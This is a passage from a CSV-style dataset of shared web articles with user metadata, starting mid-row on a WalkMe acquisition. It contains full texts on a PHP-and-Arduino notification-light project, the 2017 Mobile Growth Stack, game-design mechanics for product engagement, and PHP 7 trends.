route to collecting (anonymised) data on how site visitors navigate and use sites, essentially turning a help-tool into an analytics tool for site publishers to get a better idea of their audiences, what they like or don't understand on a site, and what they are trying to get done. Now, as we see a greater shift into personalisation, the tech that WalkMe is picking up from Abbi could help WalkMe extend those kinds of analytics into mobile, and provide much more tailored content as a result. ""To be relevant in mobile, you need to anticipate what the user interaction will be like, is and what is the right timing,"" Adika said. ""You need to know that the user is at the right time and place to be approached, and that is what Abbi is doing."" It's not clear how many customers Abbi had prior to the deal closing.",en
1484343605,CONTENT SHARED,-6851425181090952724,3609194402293569455,-4642144323861325474,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.sitepoint.com/home-made-twitter-and-gmail-notifications-with-php-and-arduino/,Home-Made Twitter and Gmail Notifications with PHP and Arduino,"This article was peer reviewed by Claudio Ribeiro . Thanks to all of SitePoint's peer reviewers for making SitePoint content the best it can be! I am a little obsessed with Twitter . It's how I communicate with most of the developers I'm not fortunate to live in the same city as. I'm a little less obsessed with IoT projects, but then it's harder to find the time to work on them than it is to check Twitter. Unless I can do both at the same time. Ever since the IoT week , I've been meaning to work on a project that will let me know when someone wants to speak to me. Something that looks cool, and is at the same time non-invasive. This is what I've come up with... Most of this code can be found on Github . I've tested it using PHP 7.1. In this post I talk a lot about pins. I use this word to mean the pins coming out of components, as well as the Arduino sockets these pins go into. They're often called terminals or ports. When I talk about pins, I just mean a place you can connect components or wires to. I'm quite specific each time though, so you'll be fine! The Project The project we're going to work on is a simple notification system, connecting a single RGB LED, a proximity sensor, and a PHP script to gather notifications. As notifications are received, the RGB LED will cycle through them, fading the LED to the appropriate color for each notification type. Say someone has mentioned us on Twitter. The LED should periodically cycle to the Twitter blue. Then, if someone sends us an email, the LED should cycle between the Twitter blue and the GMail red. We could extend this to the Fitbit green, the Facebook blue and so on. If we've seen the Twitter notification, we should be able to wave our hand in front of the proximity sensor, and Twitter blue should be removed from the rotation, leaving GMail red etc. The Hardware We can use just about any RGB LED. As long as we can control the color it fades to, we can simulate the social network notifications we're after. Really, just about any common anode RGB LED . If you get one that doesn't include resistors, be sure to add those into your circuit. I'll touch on that later... The more IoT work you do, the more likely you are to run into the terms anode and cathode. A common anode RGB LED is one that connects one pin to the positive pin on your micro-controller or battery, and three pins to ground, depending on the combination of colors you're after. Connecting the red pin to ground will close the circuit so that current flows through the red portion of the LED. Connecting the red pin to a Pulse Width Modulation (or PWM) port on our Arduino, and grounding the port by half will reduce the amount of current flowing through the red portion of the LED. Grounding the various pins by varying amounts will lead to many different colors - as many as you can define as CSS colors. Next, we need some kind of proximity sensor. The easiest (in my opinion) is an infrared transceiver . You could also use an ultrasonic transceiver , but they're better at mid-range (as they have a minimum sensing distance, so you'll have to be further away from the sensor). Finally, we need an Arduino. You can use another micro controller, but this post will refer specifically to Arduino, because I have three within arms-reach, and nothing else to test on. Connecting Things Together This is a relatively simple circuit, as far as they go. I'm by no means an expert, but I did manage to find the data sheets for the infrared sensor and RGB LED I bought; so connecting them up wasn't too troubling. The important bits are that our LED pins are connected to PWN ports, so that we can gradually adjust the amounts of red, green, and blue, and that the sensor pin is connected to an analog port (in this case A0 ). You may be wondering why we don't connect the LEG pins to analog ports, or why we don't connect the sensor to a PWM port. PWM is designed to simulate degrees of on/off, but the way that is done is by turning something on for a fraction of a second. With the right frequency of on/off cycles, LEDs only appear to be partially bright. That's a side-effect of our eyesight, in much the same way as thirty static images played in quick succession can appear to represent motion video. We need the sensor connected to the analog port because we really do need a gradual measurement, and A0 will give us that. My RGB LED is fine with 3.3v and 200mA of current (before the resistors). So I can connect that to the 3.3v pin, and leave the 5v pin for the sensor's power supply. My sensor also has a pin to enable/disable the sensor readings. I'll code for this, but keep in mind that your sensor might also have this. If it does, connect it to any unused output pin (like 0 - 8 or 12 - 13 ) and make sure you set that pin to high. We also need to connect the Arduino USB port to an open USB port on development machine. The Software Now let's look at the software we'll use to control things. Before we start telling the Arduino what to do, we should define some services: This is from src/Service.php Each service we connect to needs to have a way for us to query for new notifications. Once we dismiss a notification type, we'll also need to let the related service know. Well need to be able to identify each service by a friendly name, and we'll also need to know which light colors to associate with the service. Connecting To Twitter Communicating with Twitter means dealing with OAuth . There's no point writing yet another abstraction for this, so we're going to use a fairly popular Twitter library: We're also going to need to create and store various API keys. Head over to and create a new application. You can use any callback URL, since we're going to override it anyway. Creating new Twitter applications Note the consumer and access tokens and keys. Committing these kinds of things to Github is usually a terrible idea, so instead we'll store them as environment variables. Let's create a couple of files (called .env and .env.example ): This is from .env.example Before doing anything else, create a .gitignore file, and add .env to it. That's where we will store the secret things, so we definitely don't want to commit it to Github. Next, let's create the Twitter notifier service: This is from src/Service/Twitter.php Generally, it's a good idea to create dependencies like the Client outside the class, and bring them in as constructor parameters. But this client is just an implementation detail, and I have no interface to hint against. I think it's OK to create a new instance inside. The getenv function gets environmental variables - the same ones we defined in .env . We'll load them shortly. Let's create the query method: This is from src/Service/Twitter.php We're going to be querying this service often, and until we dismiss the tweet notifications, we want them to continue showing on the LED. Therefore, if we previously found new tweets, we can return early. If we've already queried Twitter for new tweets, we add its ID into the request parameters. That means we'll only return new tweets in subsequent API requests. We already connected with the client in the constructor. So, we can immediately call the client->query method, fetching tweets from the mentions timeline. If there are any new tweets since the since ID, we report new tweets. We just need to complete the interface: This is from src/Service/Twitter.php We'll see how to use this class shortly. Connecting To Gmail We don't have to use OAuth to connect to GMail, but we do have to enable IMAP , and generate an application-specific password. If you don't already have IMAP enabled with PHP, refer to your installation's/operating sytem's help for doing that. When building from source, you can generally install it with the --with-imap flag. That also works with Homebrew on OS X: XX is your PHP version number like 56 or 71 To create a new application-specific password, head over to : Creating new Google application-specific passwords Once you have a new password, set it in .env , along with the email address you created it for. Next, let's connect to GMail: This is from src/Service/Gmail.php This looks similar to how we began the Twitter service class, but instead of creating a new Twitter client, we're going to use imap_open to get a new inbox resource. As I discovered earlier, we need to reconnect each time we want to check for new emails. A curious side-effect of this IMAP client... Next, we need to create the query method: This is from src/Service/Gmail.php As I mentioned earlier, we need to reconnect to the IMAP server each time we want to see new emails. So, we do that, searching for all emails in the inbox. Then we compare what is returned with the list of previously cached message IDs. If there are any new ones, we report new emails. Let's finish up the rest of the interface implementation: This is from src/Service/Gmail.php Curiously, the RGB colors used in the YouTube and GMail logos are 226, 38, and 28. We subtract these from one because common-anode LEDs are brighter the lower PWM value we set. That's because the lower PWM value we set, the more we ground the color pins, and grounding the pins leads to stronger current flow through the LEDs. Let's put these together with the Arduino code... Connecting To Arduino We don't have a lot of time to go through the basics of Arduino PHP programming. Fortunately, I wrote another excellent post about it . Follow the instructions there, being sure to install the Gorilla extension (if you're on OS X). Once we've installed Firmata , we can install the Carica libraries: In addition, we also need to install that environment variables library: We can get things started by loading the environmental variables, and connecting to the Arduino: This is from notifier.php If you're unsure what port to use (in place of my /dev/cu.usbmodem1421 ), type the following: Try each of the returned items, until you can successfully connect to the Arduino. Once that's there, let's initialize the pins: This is from notifier.php Not much to say about this. Each RGB LED pin is set to PWM mode, and their values are set to 1 (so that they LED appears to be off). Since my infrared sensor has an enable/disable pin, I need to set that pin to 1 (enabled). Finally, we set the sensor read pin mode to analog. Next, let's connect to Twitter and GMail: This is from notifier.php We can enqueue each service we want to connect to in an . It's a useful abstract for first-in-first-out (or FIFO) object storage. The second boolean parameter is whether of not the service has new notifications to display. We'll change this as new notifications are detected and dismissed. Now, let's set up a repeating check for new notifications: This is from notifier.php We can use the event loop's setInterval method, which reoccurs every 1000 millisecond * 5 (or 5 seconds). We step through each service in the queue, pull it out, set whether or not it should display new notifications, and then put it back into the queue. This is strange syntax, to be sure. But it's just a side-effect of using the queue. Now we need to loop through the services again, changing the LED to their color in a rotation. We can set this to show one notification type every 4 seconds: This is from notifier.php We use a similar loop syntax to loop over each service until we find one that needs to be displayed. If we find one, we pull it off the front of the queue and put it back at the end. Then, we fetch its colors and set the pins to the appropriate value. After 1.5 seconds, we turn the pins off again (by setting them back to 1 ). This $next function is called every 4 seconds. Finally, we want to be able to dismiss notification types, by waving our hand in front of the infrared sensor: This is from notifier.php If there is a service currently displaying a notification, and the sensor is reading a value below 0.1 , we take that to mean that there's a hand in front of the sensor (and that it is dismissing the notification type). We loop through the services, telling the matching service to stop displaying notification alerts. We also call the dismiss method, so that the service will start checking for new messages again. This check happens every 50 milliseconds. Conclusion There are so many interesting things we can do using Arduino and PHP. This is just one useful project. While I was finishing this post, it let me know about multiple new emails and tweets. Now all I have to do is package it up in a project box, and I'll be able to take it to work! Did you enjoy this? Perhaps you have ideas for the next project I can work on. Let us know in the comments below.",en
1484512038,CONTENT SHARED,6097677219931837830,3609194402293569455,8720237616199206304,Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0,SP,BR,HTML,http://www.mobilegrowthstack.com/uncategorized/mobile-growth-stack-2017-edition/,The Mobile Growth Stack: 2017 Edition - Mobile Growth Stack,"2016 was a busy year for the world of Mobile Growth Marketing. The mobile ecosystem keeps evolving, as does the definition of a 'mobile product'. Furthermore, growth teams and founders of mobile businesses continue to develop new strategies and tactics and explore new channels in an effort to stay ahead of the curve when it comes to acquiring, retaining and monetizing users. 2016 was also a busy year for Phiture , the mobile growth consultancy that Moritz Daan and I co-founded. We now work with companies all around the world, helping them apply the mobile growth stack and take a strategic approach to growth. At the end of 2016, I had the pleasure to present at Growth Stack SF , a growth conference in San Francisco. I presented a sneak peek to the 2017 Mobile Growth Stack: a revised and updated version which of the framework that incorporates the major developments and trends for mobile growth since the previous update was published. Here is the Mobile Growth Stack 2017 : What is the Mobile Growth Stack? For those who aren't familiar with the Mobile Growth Stack, it's a sort of 'mobile cheat sheet'... a one-page chart / diagram that helps growth practitioners think more holistically and strategically. The framework organizes the levers for growth by the key funnel stages (acquisition, engagement & retention and monetization), helping growth practitioners consider everything they could do to drive growth of their mobile product at each stage, which in turn helps define focus areas and build a coherent strategy. For an in-depth guide to every element of the stack, check out this link at MobileGrowthStack.com . For a guide on how to use the framework to develop a holistic mobile growth strategy, check out the Applying the Stack page. This year's update includes a brand new layer: 'tech', which encourages consideration of enabling technology choices. The 'analytics & insights' layer has been simplified slightly, with a few of the elements being combined, or removed. The acquisition layer now includes influencer marketing , a newly-added activity. The stack now acknowledges the dual benefits conferred by Virality and Context Indexing, by extending them to cover both the acquisition and engagement & retention layers. The engagement & retention layer now has 'Product' at it's core, to clarify that an engaging product is absolutely core to any kind of longer term retention and a pre-requisite to growth marketing efforts in this layer. Finally, a number of new channels have been added to make this part of the stack more complete and to incorporate new developments. Changes this year are highlighted in GREEN below: Influencer Marketing as a new activity in the Acquisition Layer The term 'influencer marketing', in its broadest sense, covers a broad range of activities that involve working with influential individuals or groups to obtain brand or product advocacy or endorsement from them. This concept is far from new: tobacco companies have been influencing us via movie stars for generations, commercial sponsorship of sporting personalities is taken for granted, and so on. Working with influencers has traditionally been hard to measure, time-consuming and potentially expensive, but often nonetheless effective. The emergence of performance-centric influencer platforms (such as discovry.io ), connecting advertisers with a new generation of independent influencers - bloggers, YouTube stars, Instagrammers, Snapchatters, etc. - has democratized a space once dominated by big brands and celebrity agents. It's now possible to scale influencer marketing to groups of influencers that individually have a smaller reach - albeit among loyal audiences interested in potentially niche topics - than the superstars with tens of millions of followers. Embeddable tracking links and real-time reporting of impressions and clicks have, at the same time, enabled marketers to be more data-driven with their influencer marketing spend; they can calculate conversion rates, cost-per-install (CPI) and other performance metrics. Increasingly, influencer marketing is becoming a performance marketing activity that augments or replaces traditional mobile app install campaigns, evaluated against Facebook and DSPs on the same terms. In many cases, these developments have shifted influencer marketing from being a brand marketing activity to a measurable growth tactic. Virality and Content Indexing for Engagement & Retention Integrations that enable sharing of app-based content to third party services such as messaging platforms and social networks can be great drivers of viral acquisition. Additionally, as the product grows, and the proportion of the audience exposed to these shares that also has the app installed increases, viral content shares contribute increasingly to app re-entries from existing users. Virality can therefore be considered an important re-engagement lever as the product gains market share. In exactly the same way, Content Indexing - depending on the precise implementation by Google, Apple or other 3rd parties - offers routes into the app for existing users in addition to acquisition of new users, in both cases via the discovery of additional content through search. Therefore, Content Indexing has been added to the engagement & retention layer in addition to the acquisition layer. Conversion Optimization as a new vertical layer Conversion (Rate) Optimization (aka CRO) is an activity that forms the basis of the majority of data-driven growth efforts. In the stack, the term 'conversion optimization' is used broadly to refer to efforts to increase rates of conversion between one state to another, as opposed to specifically referring to purchase or subscription events. So prevalent is the topic of conversion rate optimization that it has been given its own vertical layer of the stack, since this activity can be applied to many activities across the three main layers. In the acquisition layer, conversion optimization forms an important part of App Store Optimization (optimizing conversion from app store listing impression to install), Performance Marketing (ad impression to click, or click to install), and Cross-Selling efforts between products and platforms. In engagement & retention, conversion optimization efforts center on moving people between non-engaged or low-engaged to higher states of engagement via numerous means. Conversion optimization is a core activity in lifecycle marketing, where email, push and in-app campaigns are relentlessly optimized for higher open and click rates, as well as improvements in downstream engagement metrics. Product and marketing efforts around activation often aim to convert users from having not performed an activity in the app (e.g. used a feature) to having done so (or done so more often than before), often within a specific conversion measurement window such as the first few days of their lifetime. In the Monetization layer, optimizing for conversion to a purchase, subscription, incentivized video view, or ad-unit click, are key to increasing profitability and CRO is hence at the core of monetization initiatives. Product at the core of the Engagement & Retention Layer Growth as a discipline sits at the intersection of product (including design), marketing and data science. Earlier versions of the Mobile Growth Stack may have given the impression that engagement and retention are primarily functions of growth marketing; this is manifestly not the case. Retention stems from an engaging product experience and no amount of activity notifications, lifecycle marketing or community engagement initiatives will keep users using a badly-designed product that they do not find engaging. Product is now explicitly placed at the core of the engagement & retention layer to reflect this. 'Activation' instead of First Time User Experience The specific definition of activation is product-specific, and may evolve over time as a deeper understanding of user behavior is gathered and the drivers of longer-term engagement are established more definitively through hypothesis testing. However activation is defined in a specific product, it's a key growth objective to activate users swiftly in order that they experience the core product value quickly and begin their path to higher and prolonged engagement. This is all a fancy way of saying that users need to find the product engaging early on in order to keep using it. Whilst this, too, is ultimately a function of core product, activation rates will typically benefit from focused effort from both product and marketing sides to assist users on their journey towards their 'aha moment'. In the previous version of the stack, this cell was called 'First Time User Experience', which seems slightly less all-encompassing than activation, which is a well-understood term in the industry. New and Expanded Channels: Search expanded to include paid App Store Search Search as a channel covers organic and promoted app discovery via search engines and app store searches. This could be via targeting specific keywords, or through indexing in-app content that appears in search results. The channel description in the stack has been updated to reflect paid search opportunities on both Android and iOS platforms and in particular Apple's , which began rollout in 2016. The meteoric rise in messenger platforms such as Facebook Messenger, WhatsApp, SnapChat, Line, WeChat, etc. has led many to speculate that messaging the new platform, relegating all other networks and apps to also-rans in the race for smartphone users' attention. Source: Despite the competitive threat posed by messaging apps themselves to all other apps, they also provide opportunities for apps to reach new and existing users through content sharing, direct messaging (if they provide an API that allows apps to do this) and invites/referrals. Each network is different, with some permitting external links, chatbots and API integrations and others not. In addition to product-level integrations, some platforms (e.g. SnapChat) lend themselves to more traditional marketing activities where awareness and acquisition can be achieved by building an audience through content and/or performance marketing. Each platform is different; some messaging platforms lean toward group messaging and one-to-many broadcasts while others are predominantly used for person-to-person interactions. Consideration of the dynamics of the chat platform - as well as the messaging habits of the target audience - will help the savvy growth practitioner to prioritize and tailor efforts toward the networks and integrations or marketing efforts most likely to reach and resonate with their ideal users. Closely related to the topic of messaging platforms is that of chatbots. Chatbots, AI, NLP, digital assistants and conversational interfaces are increasing in prominence and - despite the immaturity of many current experiences - will play an increasingly disruptive role in the way users interact with many platforms and products in many categories. Chatbots are included in the 2017 Mobile Growth Stack as a channel, although developments over the coming year may modify or clarify this somewhat clumsy classification. The fact is that nobody knows exactly what the future of 'chatbots' (itself a vague definition) will bring, or how exactly bots will merge with the current distribution and value chain for mobile products. It's not too much of a stretch, however, to suggest that chatbots currently present opportunities for integration with - and promotion of - mobile products, as well as presenting another potential touch-point with existing users. The 2017 edition of the stack adds mobile Demand Side Platforms (DSPs) and Supply Side Platforms (SSPs) as channels in their own right, belatedly acknowledging the rise of programmatic advertising. DSPs allow advertisers to buy ad impressions across a range of 3rd party apps or sites, often providing access to multiple ad exchanges, often providing sophisticated targeting criteria and a broad range of options for ad placement. As such, DSPs are an increasingly important part of the performance marketing mix for some companies. Supply Side Platforms (SSPs) are the publisher-side equivalent: facilitating finer control of monetization via ad inventory inside the product by allowing programmatic buying of ad placement within the app. Streaming apps and games offer users the chance to experience some or all of the product without ever downloading it as a classic native app from the store. Typically facilitated via HTML5 and with the potential to be distributed over some messaging platforms, app streaming can present a real alternative to traditional distribution and hence is an interesting emergent channel. It remains to be seen to what extent streaming apps will replace traditional app store distribution versus augmenting it, growing overall reach and becoming another touchpoint with the user that coexists alongside native apps. With Google rolling out streaming apps and Facebook ramping up with Instant Games in it's Messenger platform as well as in the News Feed, app streaming is really coming of age in 2017. Some apps can now be streamed directly from Google Search results via the ""Try Now"" button Enabling Tech gets its own layer The aim was, wherever possible, to simplify the stack in 2017, although not at the expense of clarity. While several simplifications were indeed made, they have been cancelled out in one fell swoop by the addition of a whole new layer: the tech layer. Deep Linking has been moved here, from the Engagement & Retention layer, since Deep Linking is not an activity or growth driver in and of itself, but is a foundational technology piece that needs to be in place in order to do more interesting and impactful things like content indexing or contextual on-boarding. There are some key choices to be made when it comes to selecting a vendor for (or possibly even building your own) key enabling technology such as marketing automation, analytics, etc. The tech layer is not attempting to provide an exhaustive list of every category in the vendor space ( MParticle's Periodic Table does a great job of this already), but does aim to cover the most critical and significant tech choices for mobile app growth. Feedback and suggestions from the community is incredibly valuable in refining the mobile growth stack. If you have thoughts or opinions about this year's updates to the mobile growth stack, or feel that something has been left out, please leave us a note in the comments section.",en
1484512089,CONTENT SHARED,1532206435917316688,3609194402293569455,8720237616199206304,Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0,SP,BR,HTML,http://www.sachinrekhi.com/understanding-user-psychology-thinking-like-a-game-designer,Understanding User Psychology: Thinking Like a Game Designer,"[This is the third post in my Understanding User Psychology series. If you haven't already, make sure to check out Meet Your Happy Chemicals and The Psychology of Persuasion .] When looking to understand user psychology to design better product experiences, one of the richest sources of knowledge exists within the game design world. Game designers have been refining their techniques for decades to build ever more engaging and enjoyable experiences that drive specific player behavior. Their techniques are rooted in a deep understanding of player psychology and have built an incredible set of mechanics that they repeatably leverage to design addicting games. Today I wanted to provide an overview of some of the tenants of game design and particular game mechanics that can be leveraged to drive user behavior in any digital product. Motivation Game design always starts with an understanding of player motivation. Motivation ultimately breaks down into two categories: intrinsic and extrinsic motivation. Intrinsic motivation drives someone to perform a task for the enjoyment of the task itself. Daniel Pink is the leading expert on intrinsic motivation, who breaks it down to autonomy, mastery, and purpose. Everyone agrees intrinsic motivation is the better kind of motivation and one needs to ensure that there is some intrinsic motivation in the first place for why someone is using your game or app. Extrinsic motivation, on the other hand, drives someone to perform a task simply for an external reward or to avoid punishment. Extrinsic motivation is what game designers take advantage of to design enjoyable games and we'll see exactly how they do so through a variety of game mechanics. Player Types Beyond simple motivation, game designers recognize that players come to a game with their own personality types seeking different kinds of enjoyment. It's important to recognize this and creates experiences that allow each of the player types to thrive in the game. Player types are classically divided into four categories: Achievers enjoy gaining points, levels, equipment and other concrete measurements of succeeding in a game. They will go to great lengths to achieve rewards that confer minimal gameplay benefit simply for the prestige of having it. Explorers enjoy discovering areas, creating maps and learning about hidden places. They love to take their time to explore new areas and look around at their own pace. Socializers enjoy interacting with other players, and on some occasions, computer-controlled characters with personality. The game is merely a tool they use to meet others in-game or outside of it. Killers enjoy competition with other players and are there to win against their peers. Game Mechanics By understanding the different player types within your game, a game designer can build experiences that create extrinsic motivation for each of these player types. Game designers have established a set of best practices for doing so, which manifest in individual game mechanics they choose to leverage to drive enjoyment and desired behavior out of their users. Let's take a look at ten popular game mechanics: Achievement The achievement mechanic enables players to earn achievements, which are virtual or physical representations of having accomplished something. These are often viewed by players as rewards in and of themselves. Games with badges, levels, rewards, and points are all examples of the achievement mechanic. We equally see such badges and levels used in apps like Foursquare, fitness apps, and more. Envy The envy mechanic creates an experience where a player desires to have something that another player already has. In order for this to be effective, a player needs to be able to see what other players have (voyeurism). Allowing players to showcase their badges, levels to other players, allowing players to visit each other's farms in FarmVille, and leaderboards in general are all examples of experiences that create envy. The reality is all social products with profile and status updates inevitably create some level of envy with others through voyeurism. Ownership The ownership mechanic allows players to control something or have it as their property, which they take pride in having. Controlling parts of a game board or owning a vast army are game examples of this mechanic. Simply ""owning"" popularity by having a large digital representation of many friends is the equivalent of this on social products. Progression The progression mechanic displays success granularly and is measured through the process of completing itemized tasks. Leveling up your player from 1 to 60 is the classic example of the progression mechanic. Any kind of progress bar you create in an product or service is how this often manifests outside of games. Status The status mechanic enables you to have a rank or level in a game that confers status in the eyes of the player and others. Being able to brag to your friends about your white paladin level 20 in WOW is the status mechanic at play. Github conveys the status of developers on their developer profiles by visualizing and summarizing their contributions across various open-source projects. Collection The collection mechanic enables players to create a collection of items, whether they are achievements, resources, or anything else in the game. Collecting resources and badges are the classic game examples of this. The central action on Pinterest of pinning various visuals into your pin-board is also a great example of the collection mechanic at work. Blissful Productivity The blissful productivity mechanic takes advantage of the idea that playing a game can make you happier working hard, than you would be relaxing. Essentially, we're optimized as human beings by working hard, and doing meaningful and rewarding work. Grinding in WoW is the classic example of blissful productivity. Oftentimes when we are building app experiences we try to make things as easy as possible to avoid our users having to do work. But what's equally important is enabling experiences that get them in a state of blissful productivity, encouraging them to do work in our apps quite willingly. It still amazes me the relatively small set of contributors that maintain all of Wikipedia, a great example of blissful productivity. Appointment The appointment mechanic requires that to succeed, one must return at a predefined time to take some action. Appointment mechanics are often deeply related to interval based reward schedules. Farmville requires you to come back to the game at a set time to water your plants or they will wither away. Happy Hours are a real-world example of the appointment mechanic at work. Cascading Information The cascading information mechanic releases information in the minimum possible snippets in order to allow players to gain the appropriate level of understanding at each point during a game narrative. Games typically show basic actions first, unlocking more as you progress through levels. Well-designed app on-boarding experiences follow this same mechanic as opposed to putting all product education up-front. Epic Meaning The epic meaning mechanic takes advantage of the idea that players will be highly motivated if they believe they are working to achieve something great, something awe-inspiring, something bigger than themselves. Warcraft's ongoing story line has epic meaning to many of it's players, creating such deep engagement with players both inside and outside of the game. When you can tie the usage of your product or service to such an epic meaning, you'll find significantly higher motivation. May open source developers contribute to open-source projects for this very reason. I hope this gives you a glimpse of how game designers think through driving extrinsic motivation for their various player types through a variety of established game mechanics. Next time you design a product experience, take a moment to think through whether there are applicable game mechanics that might enable you to accelerate your desired behavior from your user. For those interested, I'd encourage you to read more from a thought leader and expert in game design, Amy Jo Kim .",en
1484512265,CONTENT SHARED,6565723369088595990,3609194402293569455,8720237616199206304,Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0,SP,BR,HTML,https://www.cloudways.com/blog/php-trends-2017/,Learn About the PHP Trends and Predictions for 2017,"For the PHP community, the best news in 2016 was the release of version 7.1. While many initially saw PHP 7.1 as a minor release with bug fixes, it proved to be a whole different beast altogether. The version offered important improvements , a new return type (void) and Multi Catch Exception Handling. This year, I went to the PHP community and asked about the general feelings and expectations about the trends that would dominate the PHP world in 2017. Essentially, I asked three questions in the Reddit thread: What was the best thing that happened to PHP in 2016? What does the community thinks of PHP 7 and 7.1? What is the best PHP framework? In addition, I asked about the community's response on the issue of official termination of support for PHP 5.6. In addition to the Reddit, I also posed these questions via email to several community influencers. I received the following responses: Cal Evans , Technical Manager at Zend Technologies and godfather of the PHP community responded: Versions 7 and 7.1 of PHP are not the revolutionary changes that we got in the later 5.x versions. They are however proof that PHP has stabilized, matured, and has a predictable path forward. In response to the question about the frameworks, Evans was very clear. Frameworks exist only to make developers lives better. Some developers won't want to sweat the details, they want to just get things done. There is nothing wrong with this and frameworks like Laravel will always exist to fill this need. In our ecosystem, Laravel stands above all others with the tooling and ecosystem built around it to help developers just get things done. Alex Makarov , a major contributor to Yii offered a personal insight for the question about PHP version 7+. While 7.0 was excellent revolutionary release, there was design issue with return types and returning null preventing me from using it. 7.1 added nullable types and now I'm happy. When talking about favorite PHP framework, Makarov added: Depends on what is the definition of ""the best"". If we're talking about ""most popular in US"" then it should be Laravel. If it's ""most popular in ex-USSR and asia"" then it's Yii. If we're talking about enterprise level support, that's Symfony without any doubt. If it's about features and performance, Yii has more out of the box. Stefan Koopmanschap , cofounder of PHPBenelux loved PHP 7+. I love it. I think it is a great step in the development of the language, PHP is a seriously mature language now, which can easily compete with other languages. And it's being used for highly scalable and business-critical applications. His response on the question of favorite framework echoed the sentiments of ""framework-independent"" developers. There is no best framework. There is a best fit for every use case. Symfony, Laravel, Zend Framework, Yii, Expressive, Silex, Slim, the list is endless, and each of the frameworks has a place. Which framework fits your use case depends on the requirements of the application, the developers you have on your team, the infrastructure it will be running on, and a lot of other factors. I would like to start discussing the Reddit poll with the comment by the Reddit user leeharris100, that sums up the PHP trends for 2017 very succinctly: This is why I think PHP will continue to be popular for a long time to come. It's easy to make applications of any size and scope. There is documentation and support for every single problem you could ever think of. And it's finally hit the point where performance is mostly acceptable. I ran a poll on Reddit and got some excellent answers from PHP experts, all over the world. I will now offer a summary of the answers to all four questions, so that the readers could form their own opinions. What Was the Best Thing That Happened to PHP in 2016? The majority of respondents agreed that speed was one area where PHP greatly improved in 2016. In the concise words of a Reddit commentator: PHP is fast as h*ll! The improvements in speed is the main benefit of PHP 7 (introduced near the end of 2015). For some users, the best thing about 2016 was the increased maturity of PHP libraries and frameworks. I think Reddit user ajr901 put it best in the comment: Speed, ease of development (sort of?), ease of deployment, arguably better frameworks and tooling available for PHP. I believe that both these developments (the increase in speed and the maturity of libraries) are the direct result of the introduction of PHP 7 and 7.1. This brings me to the next question What Does the Community Thinks About PHP 7 and 7.1? The community loves the new PHP 7. The improvements in almost all areas of the language come together in a very fast package that removes one of the major complaints about PHP. In the words of Reddit user hedsht: it's a major step into the right direction, type hinting will hopefully silence some haters. The community agrees that PHP 7+ is the best thing that has happened to the language so far. Almost every respondent on Reddit and Facebook agreed that PHP has entered a whole new era with the introduction of PHP 7. PHP 7.1 sweetened the pot even further by introducing speed related improvements that have impacted every framework and library. Many respondents felt that PHP is now ready for enterprise level projects because of the speed of PHP 7. A Reddit commentator the_goose_says wrote: The most important thing about PHP in 2016 is speed. PHP has always been used by millions, but the largest companies have avoided it because speed matters so much at that level. With PHP 7+, we may have more household names using PHP. What Is the Best PHP Framework? The real meat of the discussion (and this is true for every PHP related discussion!) was about the framework preferred by the users. Everyone has their own favorite framework that they use in their projects. In response to the question about the best PHP framework, everyone opted for their own favorite. I asked the community to select their favorite from Symfony, Yii2 and Laravel. Interestingly, some Reddit commentators also brought in Codeigniter and their own custom PHP frameworks into the debate. Overwhelmly, the comments favored Laravel among the three, with Symfony coming in the second place. I think diabetesjones summed up the debate: Laravel is the smoothest coding I've ever had. Yii is fight-the-system every step of the way. Finally, on the question of the termination of support for PHP 5.6, the community was not very divided. Several commentators said that if PHP 5.6 projects have been implemented using the best practices, there is nothing to worry about. In the words of scootstah, a Reddit commentator: Anything that is 5.6 compliant will be able to migrate to 7 with little to no difficulty. You're only going to have problems if you were already 5 years behind the times. What Will the (Probable) PHP Trends for 2017? I see three major trends that would dominate the PHP world in the year 2017. The first and the most probable trend is the complete dominance of PHP 7.x in all aspects of PHP development. In part this will be an outcome of the discontinued support for PHP5.6. However, the most important aspect of this trend is the fact that PHP 7.x introduced several important improvements to the language and PHP development for websites and web apps. The second important and related PHP trend in 2017 would be the release of major versions of all important frameworks. Right now, the bulk of all major frameworks (Symfony, Laravel and Yii) is built on older versions of PHP. In 2017, the released versions would embrace PHP 7 completely and would make available the important features as part of the tooling and scaffolding of the frameworks. Finally, major (and minor) web hosting providers of all flavors would upgrade to PHP 7.x. While this is a no-brainer, given the popularity of PHP7.x, anyone who has ever used a web host knows how difficult it is to get the web hosting company to upgrade anything! I think, 2017 would the year when PHP 7.x would be available as the default PHP version everywhere. In conclusion, the PHP community is very optimistic about PHP 7+ and all the possibilities the new versions offer for projects of all descriptions and scale. When it comes to frameworks, Laravel and Laravel based CMS have captured the attention of the community for the moment and there is little indication that other frameworks would come up with a game changer! If you think PHP would go in a different direction or would like to extend the discussion, please leave a comment below! Create PHP websites without the worry of server management. Deploy your PHP app on optimized PHP hosting servers. About Ahmed Khan Ahmed is a PHP community expert at Cloudways - A Managed PHP Hosting Cloud Platform. He is a software engineer with extensive knowledge in PHP and SEO. He loves watching Game of Thrones is his free time. Follow Ahmed on Twitter to stay updated with his works. You can email him at ahmed.khan@cloudways.com",en
